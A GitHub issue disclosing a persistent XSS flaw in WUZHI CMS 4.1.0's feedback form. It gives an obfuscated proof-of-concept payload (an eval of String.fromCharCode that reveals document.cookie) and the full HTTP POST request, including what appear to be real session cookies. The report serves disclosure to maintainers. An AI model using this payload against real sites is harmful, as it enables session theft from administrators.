Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

wuzhicms 4.1.0 XSS vulnerability #145

Closed
jiguangsdf opened this issue Jul 20, 2018 · 0 comments
Closed

wuzhicms 4.1.0 XSS vulnerability #145

jiguangsdf opened this issue Jul 20, 2018 · 0 comments

Comments

@jiguangsdf
Copy link

jiguangsdf commented Jul 20, 2018

A xss vulnerability was discovered in WUZHI CMS 4.1.0
There is a persistent XSS attacks vulnerability which allows remote attackers to inject arbitrary web script or HTML via the form[content] parameter post to the /wuzhicms/www/index.php?m=feedback&f=index&v=contact
when administrator access - Extension module - Content feedback.then XSS vulnerability is triggered successfully

POC

hello,hello,<details/open/ontoggle=eval(String.fromCharCode(97)+String.fromCharCode(108)+String.fromCharCode(101)+String.fromCharCode(114)+String.fromCharCode(116)+String.fromCharCode(40)+String.fromCharCode(100)+String.fromCharCode(111)+String.fromCharCode(99)+String.fromCharCode(117)+String.fromCharCode(109)+String.fromCharCode(101)+String.fromCharCode(110)+String.fromCharCode(116)+String.fromCharCode(46)+String.fromCharCode(99)+String.fromCharCode(111)+String.fromCharCode(111)+String.fromCharCode(107)+String.fromCharCode(105)+String.fromCharCode(101)+String.fromCharCode(41))>hello,hello

POST /wuzhicms/www/index.php?m=feedback&f=index&v=contact HTTP/1.1
Host: fuzz.xiuyi.org
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:59.0) Gecko/20100101 Firefox/59.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Referer: https://fuzz.xiuyi.org/wuzhicms/www/index.php?m=feedback
Content-Type: application/x-www-form-urlencoded
Content-Length: 951
Cookie: __cfduid=dcd01d5951c7b6b1f5f3fd39324d137691526470388; Hez_search_cookie=1b438H1yfqX21VVh9hb4zzI2T9%2BBnwXVTNNd73Nr59pWKKX5; PHPSESSID=fk6rv05ahg0pprcku06m1f3nc0; Hez_uid=d5598GayzjEQLL3vsOru8FoMS4fC69tOBFJUUud%2F; Hez_username=48e4b6GI6NrYq%2F6%2BiGGJ62dfqzfEp5XBK5YzfukynjaEodQp; Hez_wz_name=435dCFetcwkMJETjXQh3GjzSSTuP22ZD7Av462grXirkZA1b; Hez_siteid=2a9bCY9vJiHbbo2pX44Yfeh7XveaHmwUapycQlP0
Connection: close
Upgrade-Insecure-Requests: 1

form%5Blinkman%5D=test1&form%5Bemail%5D=test1%40test.com&form%5Bcontent%5D=hello%2Chello%2C%3Cdetails%2Fopen%2Fontoggle%3Deval%28String.fromCharCode%2897%29%2BString.fromCharCode%28108%29%2BString.fromCharCode%28101%29%2BString.fromCharCode%28114%29%2BString.fromCharCode%28116%29%2BString.fromCharCode%2840%29%2BString.fromCharCode%28100%29%2BString.fromCharCode%28111%29%2BString.fromCharCode%2899%29%2BString.fromCharCode%28117%29%2BString.fromCharCode%28109%29%2BString.fromCharCode%28101%29%2BString.fromCharCode%28110%29%2BString.fromCharCode%28116%29%2BString.fromCharCode%2846%29%2BString.fromCharCode%2899%29%2BString.fromCharCode%28111%29%2BString.fromCharCode%28111%29%2BString.fromCharCode%28107%29%2BString.fromCharCode%28105%29%2BString.fromCharCode%28101%29%2BString.fromCharCode%2841%29%29%3Ehello%2Chello&form%5Bforward%5D=1198Z4hCBEel%2FGx7whEN23fyeFcUKy5LeQsdnWWE9CpSKNfsTVUOf3jRJ0842uZ1iOQJmiHoAbdGqTTWHAAOxWJYXQo%2FwJKb8Bc&submit=

vulnerability trigger point

default

when administrator access - Extension module - Content feedback.then XSS vulnerability is triggered

default

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

1 participant